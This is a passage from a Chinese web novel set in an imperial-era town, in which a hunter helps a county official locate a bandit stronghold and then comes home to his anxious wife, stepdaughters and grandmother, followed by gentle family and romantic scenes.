祁晟的身形都不由地微动。 肩膀略疼。 杨县丞道:“先前抓回去的八个流寇,就是这小郎君尾随着贼寇入山, 最后带着我等一行人, 不费一兵一卒就把这些个流寇抓住,把被绑之人救出。” “你们对山林的了解远不如他, 所以……”杨县丞的脸色顿时冷肃, 沉声吐出几个字:“别拖后腿。” 两个原本带着轻视态度的捕快, 一看到县丞的表情, 似有威严重重压来, 立马就僵直了背脊,异口同声地应:“属下领命!” 几人换上了猎户的衣服, 杨县丞和两个手下上下打量着祁晟。 杨县丞看着祁晟,微微眯眸, 怀疑道:“你真的是猎户?” 就着原先的衣裳, 就腰间围了一块兽皮,脚上也是用动物皮毛着的皮靴, 背后也背了一把弓箭,还有柴刀。 就是祁晟的肤色不像常年游走山林的猎户,虽不算特别白净, 可与粗糙的猎户相比,反倒像是……进山寻乐子的公子哥。 祁晟能猜到杨县丞为什么有这些怀疑,他道:“我本就不黑,且有小半年没打过猎,也没下过地,甚至日头都晒得少,自然就是这个肤色了。” 杨县丞道:“不是猎户反倒像猎户,是猎户反倒不像。” 琢磨了一下:“就这样,小心行事,被逮到了就说是猎户,找机会逃跑。当然,我希望你们别暴露行踪。” 杨县丞给了时间他们交谈行事计划,细节,随之骑马而去,从另一处入山。 杨县丞身边的幕僚道:“大人就这么相信那年轻人能把贼窝位置找出来?” 杨县丞道:“你是没见过先前他领着我们游走山林的那种从容,好像都不是用眼睛找的路,而是一种与生俱来的极强辨别方位的能力,闭着眼睛走过一遍,他估计都能记住。” “我们没有多余的时间探路,先前派出去的人都无功而返了,若是屡次派人前去探路,只会打草惊蛇,所以只能快狠准。” “不说别的,这祁晟探路的能力,比我们这里所有人都好。” 不知不觉便入了夜,两个孩子第一次住新家,不敢自己睡,陆鸢也就只能带着她们俩一块睡。 孩子都哄睡了,陆鸢却没半点睡意。 她披上外衫出来上茅房。 去了茅房回来,就听见从西屋传出叹气的声音。 陆鸢也跟着叹了一声,这可没法安慰,唯有祁晟平平安安地回来,才一切可解。 她看了一眼老太太的房门,最后还是转身回了屋。 早间陆鸢一脸疲惫地给秋花穿好衣裳,出了屋子准备去烧水给她们洗漱。 出了院子,才听到厨房传出声音。 这老太太总不会是一宿没睡吧? 她带着两个孩子到厨房门口,就见老太太已经在烧火做朝食了。 陆鸢问:“老太太你一宿没睡?” 何老婆子转头看了眼她,道:“一宿没睡,我可受不了,只不过是年纪大了,觉少。” 瞧着老太太的精神头也不像是一宿没睡,她也暗暗松了一口气。 何老婆子道:“桶里有洗漱的热水,应该还温着。” 陆鸢带着两个孩子一块盥洗后,才问:“做的什么朝食?” 何老婆子道:“我手艺没你的巧,就只会煮个粥,见你昨日宰杀的鸡也没烫,就用水煮了,煮出来的汤用来熬粥了。” 白切鸡也是岭南的风味,等晌午吃中食的时候,再切块,准备点酱料沾着吃。 用了朝食后,陆鸢说:“我一会去广康城衙门问问郎君的事情。” 老太太丧气的脸上顿时恢复了些许光彩,眼里也浮现了期待:“他们能有消息吗?” 陆鸢道:“便是没有消息,我也得去问问,这没由来的,忽然就让郎君帮忙引路,那总得有个说法。” 陆鸢收拾好了,就带着春花出门了,这老太太也没什么精神头,也不能让她带两个孩子。 陆鸢找到了衙门,直接说了来意。 衙役道:“我们没收到消息,若你家郎君真被县丞征用,那过几日就能有消息了,且在家等着吧。” 陆鸢没法,只能先行离开。 祁晟被县丞征用,她也没心思出摊,再者怕老太太胡思乱想,出点什么意外,她还得在家里盯着。 祁晟和另外两人是在酉时进的山,在翌日午时就赶了回来。 他倒是平安无事,只有一个人肩膀被弓箭擦伤。 杨县丞神色肃严,问:“被发现了?” 没受伤的人姓陈,他应道:“应该没有被发现,进了山后,祁郎君就逮了一只活野兔,那贼子特别警惕,一旦有点风吹草动就会射箭,陆捕快不慎被箭射伤,祁郎君当机立断用箭直接刺穿了野兔,扔在了原处” 受伤的人羞愧地低下了头。 杨县丞看了眼祁晟,问:“那这是没被发现?” 祁晟道:“山野林中多的是这种小兽制造的动静,每天晚上不知会遇上多少,他们不会怀疑。” 杨县丞点了点头,问:“那接下来呢?” 陈捕快回道:“祁郎君让我先行离开危险范围,让我们二人在做了标记之处等候,若是一个时辰没等到他,就让我们先行回来。” 如今三人都能平安回来,就说明这事算是顺利。 杨县丞复而看向幕僚,吩咐:“立刻准备笔墨纸砚,让祁郎君把路线图画出来。” 祁晟用了小半个时辰,把上山的两条路线图画了出来,还有山寨的哨点。 他把画好的图给了杨县丞。 眼力极好的陈捕快继而道:“在后撤之前,我已上树查看过寨子的情况,人数约莫在五百人到七百人之间,所有的人质都被关押在空地的牢笼之中,有人看守。” 正在这时,外头传来消息,道增援的两千护城兵到了。 杨县丞闻言,顿时笑了:“整军歇息两刻后,即刻根据地图上的两条道,兵分两路,势要攻下猛虎寨!” 祁晟已经三日没消息了,家里也逐渐压抑。 两个孩子似乎感觉到了,也不怎么笑了。 何老婆子还是给愁病了,染上了风寒。 陆鸢正在屋子里熬着药,春花过来扯了扯她的衣角。 她低头看向她,就见春花小小的脸上都是惶恐不安,扁着嘴,似乎要哭出来的模样,她蹲了下来,问:“春花,怎么了?” 春花声音带着害怕,问:“娘,曾祖母会好起来吗?” 大抵是先前所在的村子太过贫穷,春花见过太多太多因为生病而得不到及时医治而死的人了,她已经懂得了什么是死亡,所以很害怕好不容易亲近的曾祖母也会一样。 陆鸢摸了摸她的脸蛋,说:“曾祖母喝了大夫喝的药,会没事的。” 春花眼眶红了,又问:“祁叔呢?” 陆鸢愣了一下,她还以为没有在他们面前明说剿匪的事,这俩孩子也不清楚祁晟是干嘛的,却忽略了现在这氛围,有些像先前祁晟昏睡时的情况,所以春花也察觉出来了一些不对劲。 陆鸢默了默,片息后,才道:“祁叔也不会有事的,他很快就能回来了。” 她继而抱住春花,温柔地说:“这些事也不是你个小小孩能操心的,你呀,好好睡觉,好好吃饭就行了。” 春花没忍住,微微抽泣,声音带着些许哽咽:“娘,我好怕。” 陆鸢轻拍着她的后背:“不怕不怕,都会没事的。” 她一抬眼,又看向站在门口的秋花,她朝着小姑娘招了招手。 秋花扶着门框走跨过门槛,迈着小步子走到了她们身边,张开小手臂也抱住了她们,然后小手还在娘亲和姐姐的后背轻拍了拍,声音稚嫩地安慰:“不怕,不怕。” 陆鸢原本还相对压抑的情绪,被这小姑娘一捣鼓,都有些想笑了。 这姊妹俩真是全然不一样的性子。 姐姐多愁善感,共情能力强。 而妹妹则是少年老成,小小的年纪,说话都不利索的年纪,却是格外的稳重。 互相安慰了一会,外头忽然传来了敲门声,陆鸢眼神一亮,倏然站起,往院子外跑了出去。 她们入住这么些天,也没有走访邻里,忽然有人敲门,会不会是祁晟?! 陆鸢跑到院门后,深呼吸了一口气后,把门打开,在看见不是祁晟,而是个陌生的年轻男人时,她期待的眼神顿时黯淡了下来。 还没问话,屋子里头就传出老太太着急的声音:“丽娘,可是晟哥儿回来了?!” 陆鸢心下微微一叹,应:“是别人。” 回话后,她疑惑地看着陌生男人,问:“你是哪位?” 年轻男人道:“我是广康城衙门的衙役,敢问是祁晟郎君的家吗?” 闻言,陆鸢眼里顿时有了光亮,点了头,急问:“可是有我家郎君的消息了?!” 那男人点了点头,道:“县丞命我回城传消息,祁郎君便让我顺道来与家眷传个口信,他说他一切平安,两三日内就能回来,让家中妻儿和祖母莫要为他担心。” 陆鸢闻言,险些喜极而泣,眼里有些泛红,惊喜过后,她才回过神,忙道:“官爷一路辛苦,且等着,我现在给你倒水出来。” 男人忙道:“不用了,我还得回家去,就先走了。” 男人离开后,陆鸢把门阖上,迫不及待地跑进老太太屋中,把这个好消息告诉老太太,让她安心。 第76章 何老婆子听到孙子平平安安的消息, 原本病病恹恹的一个老太太,脸色似乎都红润了许多。 有那么一瞬间,陆鸢都害怕是回光返照,吓得她寸步不离。 夜幕降临, 陆鸢把两个孩子的饭送到了屋子里头后, 再把自己的饭菜和骨汤粥, 都端到了老太太的屋中。 何老婆子皱眉看着她的举动,纳闷道:“你不去陪着两个孩子, 来我这做什么,你晚上还要带孩子呢, 也不怕我把病气过给你。你要是也病了, 谁来照顾两个孩子?” 陆鸢道:“我身子可没这么虚,先前手被烫伤还淋了大暴雨呢, 也没见染上风……” 老太太立即打断了她的话:“呸呸呸!你这嘴真的是什么都往外说, 别好的不灵坏的灵。” 陆鸢瞧着她说教的劲头, 担忧地问:“老太太你今早还病病恹恹地躺在床上, 现在精神头却这么好, 真的没有半点不适吗?” 何老婆子有些不大明白,微微眯眼瞧向她, 见她一副过度担忧的模样,一瞬间心领神会, 瞪眼道:“你还当我回光返照不成!?” 陆鸢顿时抿紧了嘴。 她可没这么说。 似会读心术的何老婆子瞧着她这心虚模样, 肯定道:“你嘴上没说,心里就是这么想了。” 何老婆子没好气道:“我这几天是生了点病, 没至于到见阎王的地步,我这是心病,没晟哥儿的消息, 我吃不好睡不着,这病能好得快才怪。” 老太太倒是对自己的病因了解得透彻。 看来是心病有了心药,这病情也就跟着好了起来。 还没用暮食,老太太也是担心病气过给她,所以把她赶了出去。 陆鸢只得回屋陪孩子一块吃暮食。 陆鸢自五天前,就一直没有出摊,幸亏有祁晟的赏银,还有三贯钱,才不至于让她焦虑。 就是半个月不出摊,也不成问题。 时下最重要的,是等到祁晟回来。 这没出摊后,就变天了,日日都阴雨连连,空气都湿冷湿冷的。 白日,陆鸢也得在孩子俩的屋子烧火盆子,以此来保证屋子里的干燥。 祁晟快要回来了,自是要让两个孩子自己睡了。 陆鸢坐在床边的地上,把两个孩子哄睡了,给他们掖了被子,而后把熄灭了许久的火盆子搬出院子外。 见老太太的屋子里还亮着灯,她便走到房门敲了敲,然后推门进去。 老太太正在缝着一个荷包,是蓝色的,一瞧就知道是缝给谁的。 陆鸢道:“荷包可以明天再缝,先休息。” 何老婆子道:“晟哥儿明日就可能会回 来,我得在他回来前,给他做个装平安符的荷包。” 陆鸢愣了一下,问:“哪儿有平安符?” 何老婆子动作顿了顿,也忽然反应过来:“我真是病糊涂了,平安符都没求,急什么。” 陆鸢道:“我听人说广康城有座法陀寺比较灵验,等郎君回来了,我们去拜拜。” 何老婆子道:“是得去拜拜,近来说顺又不顺,说不顺又特别顺。” 陆鸢上前,把她手里的荷包拿过,放到小篓子里,说:“别想那么多,今晚好好歇着,等郎君回来了,病好了,郎君也不至于太过自责。” 何老婆子想了想,觉得也是这个理,所以道:“你回吧,我睡了。” 自有祁晟消息的第三天一早,陆鸢刚盥洗好,准备去附近的小菜市买菜。 这去东市要走小半个时辰,所以这附近有个小菜市。 附近的一些人,都会在院子里养几个鸡,或在宅子周围的空地种点小菜,平日里都会把鸡蛋,或是青菜拿出来卖,挣几个钱花使,久而久之就成了个小菜市。 日常所需,也可以在小菜市解决,但若是要买肉,就得去东市了。 如今祁晟还没回来,家里老人生病,孩子又小,陆鸢只能在附近买菜,偶尔托隔壁大娘帮忙买点肉回来。 前些天,祁晟不在家,怕羊肉汤放太久,陆鸢便送了一大碗给隔壁大娘。整得现在大娘见着她都特别热情,还送了好几把自家种的青菜。 陆鸢提了篮子,朝倒座房喊了声:“春花,秋花,穿好鞋子,要去买菜了。” 春花和秋花应了一声,飞快地穿上布鞋,各拿上自己的小篮子,跟她一块去买菜。 身体好了许多的何老婆子,敞开窗户道:“等我身体好了,就在院子里种点青菜,省得要花钱买。” 院子的围墙边上有一小块没填青石砖的空地,许是之前屋主种花花草草的地方,现在正好可以用来种点菜,让老太太有点事可做。 陆鸢带着两个孩子出了门,走到巷口的时候,秋花的步子忽然停了,陆鸢低头看向她,问:“怎么了?” 秋花抬起手,往右前方指去,开口道 :“爹。” 陆鸢心底略微一颤,顺着她所指的方向望去。 远处一个身着暗色衣裳,牵着马的挺拔身影就落入了陆鸢的视线之中。 不是祁晟,还能是谁? 祁晟看到了她和两个孩子,步子快了许多,谁承想她留下两个孩子,掉头就跑了。 这……? 祁晟的脸上的神色有些许怔愣。 他走近了,秋花跑了过来,仰着头,双眼亮晶晶地看着马,说:“马马。” 春花扭扭捏捏地也走了过来,既好奇又害怕地看着高大的棕马。 祁晟问:“春花,你娘怎么忽然跑了?” 春花应:“娘说要回去告诉曾祖母。” 祁晟闻言,才暗暗松了一口气,随即蹲下来问她们:“要不要骑马?” 春花还没应,秋花重重地应:“要!” 祁晟笑了笑,看向春花,问:“春花呢?” 春花有点儿害怕,但还是期待地点点头。 祁晟先把秋花抱到了上头,道:“抓着这里。” 他拍了拍马鞍的前鞍桥环。 秋花听话地弯腰,抓得紧紧的,一点儿也不害怕。 祁晟再次把春花抱起,叮嘱:“抱住妹妹。” 春花有点打颤,上了马背后,则害怕地紧紧抱住了妹妹。 祁晟牵着马的同时,也时刻盯着着两个孩子。 祁晟的出现,引去了巷子旁人的视线,这面孔陌生得很,且是什么样的家底,竟然还养了马? 巷子人家的孩子都跑出来看马,瞧着两个小姑娘骑在马背上,满眼的羡慕,和家里大人闹着也要骑。 春花曾经也是这么羡慕,羡慕地望着骑在爹爹肩头的那些孩子。 原本害怕的春花,在一个个小孩子艳羡的目光之下,不由地挺直了背脊,不再害怕。 隔壁邻居大娘认出了两个孩子,问:“春花秋花,这位是你们家哪位?” 邻居大娘虽与陆鸢打过照面,倒是没见过祁晟。 春花应:“这是我爹。” 说完后,心虚地瞧了眼身边的人,有些怕他不喜欢听,也怕他和别人说她和妹妹不是亲生的。 祁晟转头朝着她笑了笑。 对上继父的笑容,小姑娘心里也安定了下来。 大娘闻言,惊地睁大眼睛看向祁晟。 这祁家的郎君到底是做什么营生的,竟然还能骑马?! 祁晟笑了笑,和大娘道:“我这些天忙了些,搬家也没过来。” 话音刚落,就看到妻子扶着满脸期待且担忧的祖母走来。 祁晟牵着马走去,走近了,喊:“祖母,丽娘,让你们担心了。” 何老婆子上下观察孙子,见没有任何的不适,才拍着胸口道:“还好还好,全乎回来了。” 祁晟:…… 这话格外的熟悉,上一回丽娘说的也是这话。 陆鸢道:“人都在看着,先回家,先回家。” 她走到马旁,扶着马背上的两个孩子。 回至家中,关上院门,祁晟把两个孩子从马背上抱下来,继而把马拴在了玉兰树旁。 两个孩子都围着马,盯着它。 祁晟叮嘱道:“别离得太近。” 两个孩子听话,往后小碎步地退了几步。 祁晟:…… 这退没退都没什么区别。 他担心马伤及孩子,在马的周围画了个安全圈,让她们在圈外看。 陆鸢给他倒了一杯热水出来,递给他:“先喝点热水暖暖身子。” 也不知是不是天没亮就赶了路,他头上的僕帽一派湿色的,就是他身上的衣服也是湿润润的,且他脸色也被冻得白了几个度。 祁晟接过了水杯,她又急着去烧热水。 何老婆子也跟着淘米准备熬粥。 祁晟喝了一杯热水,冷冰冰的身子才感觉恢复了一些暖意,道:“祖母,丽娘,你们歇一歇,不用这么忙碌。” 两个人也没听他的话,继续忙碌着。 等水热了,陆鸢把水舀了出来,他则进屋把热水提起。 陆鸢道:“你先洗着,我给你拿衣裳过去。” 新家这也放了一身换洗的衣裳,也不愁没衣服换。 祁晟点了头,提着水进了澡间。 陆鸢给他送了衣裳,进厨房帮忙时,老太太小声与她道:“等会回屋,你扒了晟哥儿的衣裳瞧瞧。” 陆鸢眼睛睁得老大,震惊地看着老太太:“这不太好吧。” 也不知是不是太久没和老太太住一块了,她都快跟不上老太太的彪悍了。 老太太皱眉道:“你们夫妻俩还有什么不好意思的?!” 陆鸢心说都还没赤诚相见过呢,连个亲亲都没有呢,可不就不好意思。 见孙媳不说话,老太太道:“晟哥儿就是报喜不报忧的性子,以前他就是身上有伤,也是藏得严严实实的,不让我看见,我怕他现在也是这样。一会回屋了,你仔细瞅瞅,我看着两个孩子,不会让她们去打扰你们的。” 陆鸢道:“这青天白日的,老太太你这话说得好似我要与郎君做什么坏事一样。” 老太太瞅了她一眼,不说话,搅拌着一锅粥。 陆鸢:…… 这耐人寻味的眼神,很难不让人多想。 第77章 祁晟沐浴回了屋子, 老太太把陆鸢从厨房退出去:“你到底在羞什么?快去!” 陆鸢没法,只得跟在祁晟身后回屋。 等把孙媳赶回屋子,老太太拿起汤勺正要搅拌锅里的粥时,动作倏然一顿。 不对呀。 孙媳本来就是嫁过人的, 不应该是这个反应才对。 而且, 这俩都成婚都快有三个月了, 方才的反应过于忸怩了。 老太太转身走到厨房门口,往东屋瞧了眼, 皱起了眉头。 这两个人,成亲快有三个月了, 难不成还没有圆房? 可没有圆房, 这两人相处也忒自然了些,就好似成婚有三年五载了。 转念一想, 这丽娘原本就有种能让人很快就亲近起来的本事, 他们夫妻这般融洽也是能说得通的。 要是成婚这么久, 都还没圆房, 可不是件寻常事。 是丽娘不愿。 还是晟哥儿不顶事。 这两者相差甚大。 也不是她自大, 就孙子长得那模样,没几个寻常女子不喜欢, 再加上脾气也好,更是优秀。 丽娘瞧着也是个眼光正常的, 自然是喜欢孙子那样长相的。 若不是丽娘不愿, 那就是晟哥儿不愿,或者说不顶事。 可自己的孙子, 她是了解的,要说不喜欢丽娘,压根就不可能。 这前者不是, 那只能是后者了。 晟哥儿从小到大就和姑娘保持距离,别的小伙子血气方刚的时候,他在打猎,准备给他说亲时,他也没什么兴趣。 总该不会……他二十来岁了,都什么都还不懂吧? 老太太想到这个可能,顿时觉得头疼。 家里也没个男性的长辈,这该怎么让他开窍? 陆鸢推门进了屋子,祁晟正在擦拭着还未及肩的头发。 她阖上房门再转身的时候,就看到他转身看向他,湿发凌乱,衣襟半敞。 陆鸢瞧过他全身上下,恢复之后,就没再瞧过了,但也是摸过的,因此得出了结论。 ——恢复得不错。 她的视线从他的头顶扫到脚。 祁晟微微蹙眉,问:“怎么了?” 陆鸢如实道:“老太太怕你隐瞒了受伤的事,让我进来检查。” 祁晟笑了笑:“事情很顺利,你与祖母说,我没受伤。” 陆鸢摇了摇头,一本正经地道:“那可不行,得亲眼瞧过才行。” 祁晟脸上的神色微微滞了滞,迟疑地问:“亲眼瞧,是怎么个瞧法?” 陆鸢有点羞涩:“自然是脱了衣服瞧。” 祁晟有点不太相信自己所听到的,再次询问:“上衣?” 陆鸢忽然就笑了出来,走上前,抬起双手伸向他的衣襟,祁晟微微往后一躲。 陆鸢却不容他多,直接就拽住了他的衣襟,祁晟按着她双手,忙道:“我自己脱。” 陆鸢琢磨了一下,说:“那你松开手。” 她已经看到了,他还没扣上盘扣。 祁晟松开手的瞬间,衣服瞬间被扒了。 …… 肩膀至胸膛都袒露在她面前。 两人面面相觑。 祁晟觉得,她也有做女登徒子的潜在能力。 陆鸢抬起双手后退了一小步:“你来,你来。” 祁晟默然,见识过她的登徒子性子,也想到自己昏迷时,全身都被她瞧过了,如今现在也没有什么可吃惊的,他都能淡定地把衣服褪到了腰间,不自觉收腹,绷紧手臂转身给她瞧。 “瞧吧,没伤。”他的声音都带着些许的无奈,转回头看向她, 肌理线条流畅,宽肩窄腰,就是身上有一些旧伤口,有爪子抓伤的,有些像是跌打损伤的浅疤。 陆鸢心酸酸了片刻后,说:“行吧,你赶紧把衣裳穿好,别着凉了,我与老太太说去了。” 她转身就出了屋子,然后又立马阖上了房门。 祁晟这才呼了一口气。 老太太才熬好粥,打算焖一会时,就见孙媳进了厨房。 “你这么快就出来了?这都没有一刻,你可有好好检查?” 陆鸢被问得一时无言。 “没伤,起码上身没看到任何的擦伤。” 老太太闻言,才拍着胸口松了一口气。 陆鸢敲了眼熬好的粥,说:“我出门买点菜回来,没菜送粥怎么行。” 老太太道:“也不知晟哥儿有没有好好吃饭,等你买菜回来,他估摸都已经吃好了,还是等会去一趟东市,买些肉回来,等晌午做一顿好吃的。” 陆鸢想了想,点了点头:“也是,小菜市也没肉菜,顶多会有鱼卖,我得买些羊肉回来,上回郎君没吃着。” 老太太微微皱眉,道:“羊肉贵,更别说现在入冬了,只怕一天一个价,你这么多天没出摊了,钱够吗?” 想了想,又说:“这天冷,平日都待在屋中时间多,我也做了绣品,你一会顺道拿过去换钱。” 陆鸢:…… 都忘了她前几天骗老太太说租这个屋子的时候,都快把钱用完了。 反正都已经把半个多月前归途的事告诉了老太太,陆鸢索性也没继续瞒着,把赏银的事给说了。 老太太沉默了一会,说:“这种危险的赏银,我一点也不想晟哥儿挣。” 陆鸢都没敢说祁晟这回估计也能得到赏银。 刚都忘记问了,他有没有赏银,能有多少。 祁晟从屋中出来,看了眼还在观察马儿的两个孩子,说:“一会我出去找些饲料,让你们喂它。” 陆鸢听见声,问他:“这马咋回事?” 看着好像还是上次那匹。 祁晟道:“县丞问我想要什么赏,我就想着要了一匹马。” 陆鸢愣了愣,看向那匹棕马:“这匹马,就是赏了?” 祁晟琢磨了一下,道:“我想,应该吧。毕竟一匹老马都能值七八贯钱,这匹成色,估计值二三十贯钱。” 陆鸢瞧着马,说:“给他套个板车,之后出早市,都能省下牛车的钱了,而且这样从夜市回这,也能更快,估计都不用两刻,能让我们更轻省。” 这有了好马就相当于他们已经有了豪车,区别在于不用价格高昂的油费,只需要一把稻草。 祁晟道:“我也是这么想的,就是夜市收摊,你要是想回这边也没问题。” 夜里驾驶马车能更快一些,估摸一刻多就能到。 毕竟钱能继续挣,但要挣够买牛或是买马的钱,需要很久。 春花和秋花都眼睛亮灼灼地看向祁晟。 春花惊喜地问:“真的吗,这马真的是我们家的了吗?” 祁晟点头:“你可以和秋花给它起一个名字。” 两个孩子听到他的话,眼睛更亮了。 陆鸢道:“那等会儿咱们把马牵去木工铺子问问,一个车斗得多少银钱。” 马都有了,再闲置就是浪费了。 她好一会后,忽然察觉到有些不对劲。 就她和祁晟说话了,这老太太一句话都没有说,想到刚刚老太太的话,陆鸢就知道老太太为何兴致不高了。 粥好了,桌面摆了些萝卜干和酸豆角,还有炒鸡蛋。 陆鸢虽然很好奇祁晟是怎么样领路的,但老太太肯定不爱听这个,她也就没敢现在问。 吃过朝食,瞧着祁晟的模样,这些天都没能好好休息,陆鸢就让他先去休息,等下午再去木工铺子。 祁晟回屋后,陆鸢便先去东市买菜了。 孩子太小,走不了太远的路就得抱,她可抱不了那么远的路。 陆鸢买了羊肉和萝卜,还有一条一斤多重的草鱼。 晌午过了,祁晟还没醒。 陆鸢回屋拿针线活去孩子的屋子做,动作够轻了,还是吵醒了祁晟。 “丽娘?”祁晟坐了起来,撩开帘子,睡眼惺忪地往她的方向望去。 陆鸢:“吵到你了?” 祁晟摇了摇头:“没吵,我正好睡够了。” 陆鸢见他醒了,放下针线篓子,坐到了他的身边。 “你与我说说你帮忙剿匪的事呗,老太太在,我都不敢问。” 祁晟也看出了祖母不爱听这些事,所以他什么都没提。 他简略地与她说了剿匪的事,却没仔细说其中的惊险。 “这后来几日,都需得助县丞在林中追踪逃跑的山贼,是以现在才回来。” 陆鸢面上不由露出担心:“你说你这回这么出色地完成了县丞交代你的事,县丞会不会不舍得放你走,让你继续给你办事?” 祁晟沉默地望着她。 半晌后,才言:“他是官,我是民,有时并非以我的意愿说了算。” 陆鸢也沉默了。 是呀,自古以来君要臣死,臣不得不说,民不与官斗,便是到了后世,道理也是不变的。 她默了半晌,才道:“这事,先别与老太太说,她自你去剿匪后,日日吃不好睡不好,前两日才病了一场,好不容易好了,让她先养养。” 祁晟神色担忧:“祖母病了?” 陆鸢点头:“染上风寒,听到你的消息,就好了。” 祁晟听了他的话,顿时陷入了两难的困境。 陆鸢把手放到了他腿上的手背上:“不管如何,咱们都一起面对。” 心下一软,伸臂把人拥入了怀中。 陆鸢忽然小声道:“你低头,凑过来,我与你说句话。” 祁晟低下头,附耳过去。 还在想这都在一个屋子里头,就两个人,还需要附耳过去说什么私密话? 才凑过去,脸颊顿时传来温温软软的触感,他微敛的眼神不可置信地睁开,一瞬间似乎有亮光在眼底升起。 祁晟转头看向她,便见她笑盈盈地看着他。 四目相对半晌,两道人影缓缓靠近,两唇相触。 陆鸢地心跳加速,抓住了他手臂的力道逐渐用力。 既紧张又期待。 只是…… 激动的心情,在只是唇碰唇后,逐渐平静。 就这? 就这! 不是,她都主动了,他竟然一点都不通。 第78章 须臾, 陆鸢推开了他,垂着眼眸,也不瞅他,拿了针线的小篓子。 “我出去干活了。”说着就起身走出屋子, 连房门都没关。 祁晟望着灌入寒风的房门。 原本鼓动的心口, 也被冷风迎面袭来而趋于平静。 丽娘怎是这个反应? 他是被嫌弃了吗? 祁晟望着敞开的房门, 久久没回神。 陆鸢端着小篓子进了两个孩子的屋子,在玄关脱了鞋, 走到桌子旁,静默无声地就坐下。 两个孩子凑过来, 她也只是摸了摸她们的脑袋。 也在屋子里做着刺绣的老太太, 见平日里话痨的孙媳没说话,有些狐疑地抬眸看向她。 瞧着她好似有些郁闷, 便问:“咋了, 晟哥儿惹你不高兴了?” 陆鸢张了张口, 最终说出口的是:“没什么事。” 要她怎么说他孙子跟个傻二楞似的, 亲亲就真的只是亲亲, 可别到时候□□做的事,都还要她手把手教。 那他干脆就别圆房了。 老太太狐疑地看着她。 这可不像是没事的样子。 但瞧着她不想说, 那就不问了。 老太太转而琢磨起了别的事。 这大孙子估摸着是没有长辈教导,也不与同辈聊女人, 所以进度才会这么慢。 这样下去肯定不行, 得想个法子才成,也不知道这城里的书肆有没那等禁书买。 春花和秋花姊妹俩, 看看思索沉沉的娘,又看向眉头紧锁的曾祖母,最后面面相觑, 两个小姑娘不约而同地摊手,耸肩。 过了半刻,院子外头才传来水声。 应是祁晟起来洗漱了。 他洗漱好后,站在倒座房的房门外,踌躇了几息,才抬手叩了叩门:“丽娘,可还要去木工铺子?” 陆鸢还是对方才的亲亲有些失望的,纳闷思索了几息:“去。” 她放下才缝没几针的袜子,站了起来,和两个孩子道:“外边冷,你们和曾祖母在家,好不好?” 两个孩子很是乖巧地点了点头。 陆鸢打开房门,一眼就瞧到了站在门外的祁晟。 一时间有点儿尴尬,她避开视线,说:“咱们走吧。” 祁晟视线一直紧锁着她,也能感觉到她的情绪。 似害羞,却又似兴致不高,有些难以言喻的情绪。 祁晟可以确定了,方才的举动,他没让她满意。 意识到这点,祁晟略为挫败。 果然,还是不能靠自己摸索,还是得问一旁人,或是找些风月书籍来瞧。 祁晟面上也不显,把灌了热水的汤婆子递给她。 “下午寒凉,抱着汤婆子去。” 陆鸢接过,小声道了声:“谢谢。” 祁晟:…… 她忽然客气,倒让他不适应了,也有些许的不自在。 祁晟拉着马出了院子,与她说:“你上去骑着,我牵着马。” 陆鸢长这么大,还没骑过马呢,听到他的话,也确实想骑,而且这到西市还要走半个时辰呢,可远了。 有马不骑是傻子,但不想左邻右舍围观,便说:“等过了河再说。 等过了河,祁晟扶着她:”先踩上脚蹬再上马?” 陆鸢没吃过猪肉,也是见过猪跑的,是以踩着脚蹬,一蹬腿就跨上了马背。 祁晟视线落在了她的身上,与春花秋花的表情如出一辙,满眼都是对新事物的好奇,欢喜。 因着两人的氛围有些不自在,是以一路都没什么话。 陆鸢对这马车车斗不了解,就让祁晟与木匠沟通。 最后,等要去定银钱的时候,才轮到陆鸢上场。 整个车斗,没有棚子框架得六百文,有棚子框架和顶上的雨布,得多加二百文。这二百文还是不包括周围需得挡风的。 这还是陆鸢谈了价钱之后的数目。 这迟早都是要做的,现在手里也有些银钱,就算做了车斗和棚子,也还是有两贯钱的,所以陆鸢也就下了定,给了定钱。 等木匠给马量尺寸时,他们俩去东市逛一逛,顺道买了些零嘴。 冬日在屋子里待着,嘴巴也闲得发慌,是以陆鸢买了些瓜子和饼子。 回时,陆鸢都已经没了那么点尴尬。 她骑在马背上,与他说:“咱们明天是不是该回去准备早市和夜市了?” 这一天天花钱如流水,但已经快十日没进项了,刚刚又出了一笔大钱,陆鸢也着急了。 祁晟见她主动与自己说话了,晓得她过了不自在的劲,暗暗松了一口气,应:“是该回去出摊。” * 夜里,祁晟到厨房烧喝的热水。 没一会,老太太也出现在厨房门口,目光复杂地看着忙碌的孙儿。 祁晟转身看向祖母,问:“祖母若是要喝水,叫我倒进去就是了。” 老太太摇了摇头,说:“我有点事想要问你。” 祁晟以为祖母想问剿匪的事,心下微微一叹。 “祖母想问什么?” 老太太看着孙子那张脸,心道真是白瞎了这张脸。 默了几息,老太太走近厨房,压低声音问:“老实说,你和丽娘还没圆房,是不是?” 问丽娘,她这鬼灵精的,一句实话都没有。 祁晟有一瞬间都怀疑是不是自己听错了。 他以为祖母要问的是剿匪的事,却不想问题竟是天差地别。 “祖母……这些事,我们夫妻俩自己会看着办的,你别操心了。” 一听这话,老太太心下瞬间有了答案,瞪眼看着他,恼道:“都成婚多久了,你们两个真的就只是躺一张床上,啥都没干了?!” 祁晟神色无奈:“祖母……” 老太太却是神色严肃:“我认真的,你这小子,长了这么一副好皮囊,一个聪明的脑子,可怎就这么不顶用!” …… 祁晟忽然就觉得心下一塞。 老太太没好气道:“也是,家里没个长辈,也没人与你说这些话,今日老婆子我就厚着脸皮与你说道说道。” 祁晟连忙道:“祖母,不用不用,我知道我知道。” “你知道个什么劲!”老太太越想越气,这么好一个媳妇,他也喜欢,也不知道他犹豫个什么劲! 祁晟不得不说:“祖母,等我这几天得空了,我就去书肆买些书回来瞧瞧。” 老太太听他这么说,才满意道:“这还差不多。”说着,脸色又恢复严肃:“我可与你说,最迟后年年中,我就要抱上孙子!” 祁晟也不管能不能做到,只满口应道:“行行行,后年年中一定能让祖母抱上孙子。” 老太太这才心满意足地回屋了。 祁晟好不容易把祖母哄走了,心颇累地呼了一口气,随即又微蹙眉头。 祖母怎忽然问这个,可是丽娘说了什么,还是做了什么? 不知不觉地,祁晟有了心事。 水热了,他端了水进屋。 陆鸢已经躺进被窝里了,见他进来了,才坐起接过他递来的水。 喝了水后,又钻回了被窝中。 祁晟把油灯熄灭,摸黑上榻,入了同一张被窝中。 黑暗中,他默了好一会,才问枕边人:“丽娘,你可睡了?” 陆鸢生怕他要复盘今日下午的事,应都不敢应,装睡。 他这人吧,有事就不会憋到第二天,肯定得在晚上睡觉的时候与她说明道白。 这些事,她可不想教他,他自个看着办吧。 